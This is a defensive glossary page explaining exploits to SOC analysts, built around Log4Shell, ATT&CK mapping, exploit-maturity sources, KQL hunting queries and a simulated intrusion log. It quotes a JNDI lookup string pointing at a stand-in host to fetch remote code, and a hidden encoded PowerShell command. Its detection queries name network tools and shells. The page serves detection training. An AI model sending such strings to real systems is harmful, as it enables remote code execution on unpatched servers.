<!-- Source: https://www.socsimulator.com/glossary/exploit -->

ConceptsSIEMXDRFirewall

# What is Exploit?

An exploit is code, a command or a technique that takes advantage of a vulnerability to make software do something its designers did not intend, such as running attacker code. The vulnerability is the flaw, the exploit is the method that uses it, and the payload is what runs once it works.

## Definition

* Exploit

  An exploit is code, a command or a technique that takes advantage of a vulnerability to make software do something its designers did not intend, such as running attacker code. The vulnerability is the flaw, the exploit is the method that uses it, and the payload is what runs once it works.

## How Exploit Works

### [Vulnerability, exploit, payload: one case, three names](#vulnerability-exploit-payload-one-case-three-names)

People use these words as if they were one thing, and a SOC cannot afford to. The clearest example is Log4Shell. The **vulnerability** is CVE-2021-44228, in Apache Log4j 2.0-beta9 through 2.15.0. NVD's description is that the JNDI features "do not protect against attacker controlled LDAP and other JNDI related endpoints", so an attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers. NVD scores it 10.0 (CVSS 3.1 vector `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H`).

The **exploit** is the thing the attacker sends: a string in the form `${jndi:ldap://203.0.113.50:1389/x}` placed in any field the application logs, such as a URL, a header or a username. The **payload** is the code the vulnerable server fetches and runs because of that string. The flaw is the same for every attacker, while the string and the payload are separate choices. That is why patching removes the flaw and why blocking one string does not.

### [Exploit is not malware, and it is not a zero-day](#exploit-is-not-malware-and-it-is-not-a-zero-day)

It gets code to run. What runs is the payload, and the payload is often the malware. A [zero-day](/glossary/zero-day) describes timing: a flaw nobody has patched yet. Many exploits in your logs target flaws that already have a fix, and Log4Shell is one of them today: NVD records that 2.15.0 disabled the behavior by default and 2.16.0 removed it. What keeps it in your logs is exploit code that anyone can run.

### [Where exploits show up in ATT\&CK](#where-exploits-show-up-in-attck)

ATT\&CK splits the technique by what the attacker wants from it. The list is a good map of where to look, because each one lands in a different log.

| Technique                                   | Tactic                                                 | What it is aimed at                                                   | Where to look first                                                                     |
| ------------------------------------------- | ------------------------------------------------------ | --------------------------------------------------------------------- | --------------------------------------------------------------------------------------- |
| T1190 Exploit Public-Facing Application     | Initial Access                                         | A software bug, glitch or misconfiguration in an Internet-facing host | [WAF](/glossary/waf) and [IDS](/glossary/ids) logs, then child processes of the service |
| T1203 Exploitation for Client Execution     | Execution                                              | A client application such as a browser or Office                      | A document or browser spawning a shell or script engine                                 |
| T1068 Exploitation for Privilege Escalation | [Privilege Escalation](/glossary/privilege-escalation) | A flaw in a program, service or the OS kernel                         | A low-privilege process that suddenly runs with higher rights                           |
| T1210 Exploitation of Remote Services       | [Lateral Movement](/glossary/lateral-movement)         | A service on another internal machine                                 | The target's service crashing or spawning a process, after a connection from a peer     |
| T1212 Exploitation for Credential Access    | Credential Access                                      | An authentication or credential service                               | Anomalies on the authentication server rather than on the endpoint                      |
| T1211 Exploitation for Stealth              | Stealth                                                | A flaw in a security control or logging path                          | Gaps and crashes in your own telemetry                                                  |

### [How an exploit matures](#how-an-exploit-matures)

A vulnerability becomes urgent when an exploit exists. Three public sources record that, and they answer three different questions.

* **CVSS v4.0 Exploit Maturity (E).** FIRST defines Attacked (attacks reported, or tools that make exploiting easier are available), Proof-of-Concept (public PoC code, no known attacks), Unreported (neither) and Not Defined. Not Defined is scored like Attacked. It is a threat metric filled in from threat intelligence, so a base score alone says nothing about exploitation. See [CVSS](/glossary/cvss).
* **EPSS.** FIRST publishes a daily probability that a CVE will be exploited in the wild in the next 30 days. It ranks, it does not confirm.
* **CISA's Known Exploited Vulnerabilities (KEV) catalog.** This is a record of fact. Catalog version 2026.10.16 lists 1,748 vulnerabilities, 361 of them flagged as used in ransomware campaigns. The Log4Shell entry was added on 2021-12-10 and is flagged "Known".

Read together, they change a triage decision. A CVSS 7.5 with a KEV entry beats a CVSS 9.8 with no sign of attacks, and your [vulnerability management](/glossary/vulnerability-management) queue should sort that way. See [CVE](/glossary/cve) for how the identifiers work and [patch management](/glossary/patch-management) for the deadlines.

### [What an exploit leaves behind](#what-an-exploit-leaves-behind)

There are three moments in your logs, and most alert fatigue comes from treating the first as if it were the third.

**1. The attempt.** Most requests carrying that string are scanners. They show in web, WAF or IDS logs and they say nothing about success.

```
// IIS requests carrying a JNDI lookup in the path, query string or User-Agent
W3CIISLog
| where TimeGenerated > ago(1d)
| where csUriStem contains "jndi" or csUriQuery contains "jndi" or csUserAgent contains "jndi"
    or csUriQuery contains "${${" or csUserAgent contains "${${"
| project TimeGenerated, sSiteName, cIP, csMethod, csUriStem, csUriQuery, csUserAgent, scStatus
| order by TimeGenerated desc
```

`contains` matches substrings, so it also catches URL-encoded forms such as `%7Bjndi`. Variants that nest lookups inside the keyword still slip past a plain `jndi` match, which is why the second pair of conditions looks for `${${`. A `200` in `scStatus` does not tell you whether it worked: the lookup happens when the application logs the string, not when it answers.

**2. The reaction.** This is the moment the attempt becomes an incident. A server that was tricked into fetching a payload makes an outbound connection it has never made.

```
// A Java process connecting out to a public address on LDAP, LDAPS or RMI ports
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where InitiatingProcessFileName in~ ("java.exe", "javaw.exe", "java")
| where RemotePort in (389, 636, 1099, 1389) and not(ipv4_is_private(RemoteIP))
| project Timestamp, DeviceName, InitiatingProcessCommandLine, RemoteIP, RemotePort
```

Attackers can run the listener on any port (the example string above uses 1389, which the list now includes), so an app server with no business talking to the internet is the stronger control. Block egress by default, and keep the [attack surface](/glossary/attack-surface) small so fewer components are reachable at all.

**3. The aftermath.** The payload runs as the service account. A web or Java process starting a shell is the signal, and the [suspicious process execution playbook](/playbooks/investigate-suspicious-process-execution) is the triage path.

```
DeviceProcessEvents
| where Timestamp > ago(1d)
| where InitiatingProcessFileName in~ ("java.exe", "javaw.exe", "java", "w3wp.exe")
| where FileName in~ ("cmd.exe", "powershell.exe", "pwsh.exe", "sh", "bash", "curl", "wget")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
```

All three queries use the documented `W3CIISLog`, `DeviceNetworkEvents` and `DeviceProcessEvents` columns and have not been run against a live workspace by SOCSimulator. Adapt the first to your web tier, since nginx, Apache and Tomcat write the same data into different logs.

### [A simulated case](#a-simulated-case)

Simulated example generated by SOCSimulator Research. The host, the addresses and the times are invented, and `203.0.113.50` is a documentation address.

```
02:14:07  W3CIISLog          cIP 198.51.100.23  GET /api/search  q=${jndi:ldap://203.0.113.50:1389/x}  scStatus 200
02:14:08  DeviceNetworkEvents  APPSRV02  java.exe -> 203.0.113.50:1389
02:14:09  DeviceProcessEvents  APPSRV02  java.exe -> cmd.exe /c powershell -nop -w hidden -enc ...
```

The first line alone is a scanner you see forty times a day. The second line, one second later, is the server calling the address in the string. The third is a shell. A one-second chain from request to outbound connection to child process is not a scan, it is a working attack. Isolate `APPSRV02`, preserve the process tree, and read what the shell did, because success here is the start of the intrusion, not the end. After that, patch or remove the vulnerable component, and sweep the host for the access an attacker leaves behind in the first minutes.

## Exploit in SOC Operations

When a vulnerability alert lands, the question that decides priority is whether an exploit exists, not how high the score is. Check three things in order: is the CVE in the KEV catalog, is there public code (the Proof-of-Concept or Attacked values of CVSS Exploit Maturity), and does your own exposure put the vulnerable component where an attacker can reach it. When an intrusion alert lands, ask the opposite question: did it work? An attempt in a web log is noise, and what you triage is the server's reaction, an unexpected outbound connection or a service process starting a shell. Record in the ticket which of the two you are working, because the first goes to vulnerability management and the second to incident response.

Free

## Practice Exploit in a Real SOC

SOCSimulator provides hands-on training with realistic SIEM, XDR, and Firewall interfaces. Build real analyst skills investigating exploit scenarios with zero consequences, free.

[Start Free](/register)[Try Shift Mode](/features/shift-mode)

## Frequently Asked Questions

* What is the difference between an exploit and a vulnerability?

  The vulnerability is the flaw in the software, such as a logging feature that follows attacker-controlled lookups. The exploit is the code or technique that uses the flaw to make the software misbehave. Patching fixes the flaw. One flaw can have many exploits, and an exploit with no vulnerable target does nothing.

* What is the difference between an exploit and a payload?

  The payload is the code that runs after the attack succeeds. The exploit gets execution, and the payload decides what happens with it: a reverse shell, a downloader for ransomware, a new local account. In the Log4Shell example it is the class the server fetches from the attacker's LDAP server. Blocking one delivery string does not remove the payload from other routes.

* What are the types of exploits?

  By where they run, remote ones reach a service over the network and local ones need an account on the machine first. By target, server-side ones hit services and client-side ones hit applications such as browsers and Office through content the user opens. ATT\&CK also separates them by goal: initial access, execution, privilege escalation, lateral movement, credential access and stealth.

* What are some examples of exploits?

  Log4Shell is the standard case. A string such as ${jndi:ldap\://attacker-host/x} placed in any field the application logs makes the vulnerable server fetch and run attacker code (CVE-2021-44228). ATT\&CK lists others by what they aim at: a crafted request against an internet-facing web application (T1190), a malicious document that makes a browser or Office run code (T1203), a flaw in the kernel or a service that raises a low-privilege process to higher rights (T1068) and a flaw in a service on another machine that lets the attacker move to it (T1210).

* How can you tell whether a CVE is being exploited?

  Check three public sources. CISA's Known Exploited Vulnerabilities catalog lists vulnerabilities with confirmed attacks. EPSS gives a daily probability of exploitation in the next 30 days. The Exploit Maturity value in CVSS v4.0 records whether attacks are reported or only proof-of-concept code exists. A vulnerability in KEV is a confirmed case, so patch it first.

## Sources

* [NVD: CVE-2021-44228 (Apache Log4j2 JNDI remote code execution)](https://nvd.nist.gov/vuln/detail/CVE-2021-44228)
* [FIRST: CVSS v4.0 Specification Document (Exploit Maturity)](https://www.first.org/cvss/v4-0/specification-document)
* [FIRST: Exploit Prediction Scoring System (EPSS)](https://www.first.org/epss/)
* [CISA: Known Exploited Vulnerabilities Catalog (catalog version 2026.10.16)](https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
* [MITRE ATT\&CK: Exploit Public-Facing Application (T1190)](https://attack.mitre.org/techniques/T1190/)
* [MITRE ATT\&CK: Exploitation for Client Execution (T1203)](https://attack.mitre.org/techniques/T1203/)
* [MITRE ATT\&CK: Exploitation for Privilege Escalation (T1068)](https://attack.mitre.org/techniques/T1068/)
* [MITRE ATT\&CK: Exploitation of Remote Services (T1210)](https://attack.mitre.org/techniques/T1210/)
* [MITRE ATT\&CK: Exploitation for Credential Access (T1212)](https://attack.mitre.org/techniques/T1212/)
* [MITRE ATT\&CK: Exploitation for Stealth (T1211)](https://attack.mitre.org/techniques/T1211/)
* [Azure Monitor Logs reference: W3CIISLog table](https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/w3ciislog)
* [Microsoft Learn: DeviceNetworkEvents table (advanced hunting)](https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-devicenetworkevents-table)
* [Microsoft Learn: DeviceProcessEvents table (advanced hunting)](https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-deviceprocessevents-table)

## Related Terms

[Zero-DayConcepts](/glossary/zero-day)

[A zero-day is a software vulnerability that attackers exploit before the vendor has shipped a fix, s...](/glossary/zero-day)

[CVEFrameworks](/glossary/cve)

[A CVE (Common Vulnerabilities and Exposures) is a unique identifier assigned to a publicly disclosed...](/glossary/cve)

[CVSSFrameworks](/glossary/cvss)

[The Common Vulnerability Scoring System (CVSS) is an open standard for rating the severity of a soft...](/glossary/cvss)

[Vulnerability ManagementProcesses](/glossary/vulnerability-management)

[Vulnerability management is the continuous process of discovering, assessing, prioritizing, remediat...](/glossary/vulnerability-management)

[Patch ManagementProcesses](/glossary/patch-management)

[Patch management is the systematic process of acquiring, testing, approving, and deploying software ...](/glossary/patch-management)

## More Concepts Terms

[IOC (Indicator of Compromise)](/glossary/ioc)[IOA (Indicator of Attack)](/glossary/ioa)[TTPs](/glossary/ttps)[False Positive](/glossary/false-positive)[True Positive](/glossary/true-positive)[Alert Triage](/glossary/alert-triage)[All Concepts](/glossary#concepts)

### Quick Facts

* Category

  Concepts

* Related Tools

  SIEMXDRFirewall

* Related Terms

  5

* Updated

  October 2026

### Related Terms

* [Zero-Day](/glossary/zero-day)
* [CVE](/glossary/cve)
* [CVSS](/glossary/cvss)
* [Vulnerability Management](/glossary/vulnerability-management)
* [Patch Management](/glossary/patch-management)

### Browse All Terms

Explore all 60+ cybersecurity terms in the SOCSimulator glossary.

[View full glossary](/glossary)

### Practice These Concepts

Hands-on SOC training with realistic alerts and tools. Build real analyst skills, free.

[Start Free](/register)

## Related SOC Training Resources

[Career Path](/careers/paths/soc-analyst-tier-1)

### [SOC Analyst (Tier 1) Career Guide: Salary & Skills](/careers/paths/soc-analyst-tier-1)

[Tier 1 SOC Analysts are the front line. You monitor alert queues, triage incoming detections, classify them as true or f…](/careers/paths/soc-analyst-tier-1)

[Read more ](/careers/paths/soc-analyst-tier-1)[Career Path](/careers/paths/detection-engineer)

### [Detection Engineer Career Guide: Salary & Skills](/careers/paths/detection-engineer)

[Detection Engineers build the rules, analytics, and automated workflows that determine what the SOC can see. You transla…](/careers/paths/detection-engineer)

[Read more ](/careers/paths/detection-engineer)[Career Path](/careers/paths/security-engineer)

### [Security Engineer Career Guide: Salary & Skills](/careers/paths/security-engineer)

[Security Engineers build and maintain the infrastructure that SOC analysts depend on. You deploy SIEMs, configure firewa…](/careers/paths/security-engineer)

[Read more ](/careers/paths/security-engineer)[Comparison](/compare/vs-letsdefend)

### [SOCSimulator vs LetsDefend: Comparison](/compare/vs-letsdefend)

[SOCSimulator wins on operational realism. You get multi-tool shift simulation with SLA pressure, noise injection, and al…](/compare/vs-letsdefend)

[Read more ](/compare/vs-letsdefend)[Comparison](/compare/vs-cyberdefenders)

### [SOCSimulator vs CyberDefenders: Comparison](/compare/vs-cyberdefenders)

[SOCSimulator trains the operational workflow: alert triage, correlation, and response under pressure. CyberDefenders tra…](/compare/vs-cyberdefenders)

[Read more ](/compare/vs-cyberdefenders)[Tool](/training-tools/siem)

### [SIEM Training Console: SOCSimulator](/training-tools/siem)

[The SIEM console in SOCSimulator replicates the workflow of enterprise platforms like Splunk Enterprise Security, Micros…](/training-tools/siem)

[Read more ](/training-tools/siem)[Tool](/training-tools/xdr)

### [XDR Training Console: SOCSimulator](/training-tools/xdr)

[The XDR console in SOCSimulator replicates the investigation workflow of platforms like CrowdStrike Falcon, Microsoft De…](/training-tools/xdr)

[Read more ](/training-tools/xdr)[Tool](/training-tools/firewall)

### [Firewall Training Console: SOCSimulator](/training-tools/firewall)

[The Firewall console in SOCSimulator replicates the log analysis experience of enterprise platforms like Palo Alto Netwo…](/training-tools/firewall)

[Read more ](/training-tools/firewall)[Technique](/techniques)

### [MITRE ATT\&CK® Techniques: Detection Training Library](/techniques)

[Browse all MITRE ATT\&CK® techniques with detection strategies and example alerts.](/techniques)

[Read more ](/techniques)[Career Path](/careers/paths)

### [Cybersecurity Career Paths: 2026 Guide](/careers/paths)

[Explore SOC analyst career paths with salary data, required skills, and certification roadmaps.](/careers/paths)

[Read more ](/careers/paths)[Playbook](/playbooks)

### [SOC Investigation Playbooks: Step-by-Step Guides](/playbooks)

[Practitioner investigation playbooks with decision trees and real SIEM queries.](/playbooks)

[Read more ](/playbooks)[Feature](/features/shift-mode)

### [Shift Mode: Real-Time SOC Simulation](/features/shift-mode)

[Practice alert triage under realistic time pressure with SLA timers and noise injection.](/features/shift-mode)

[Read more](/features/shift-mode)
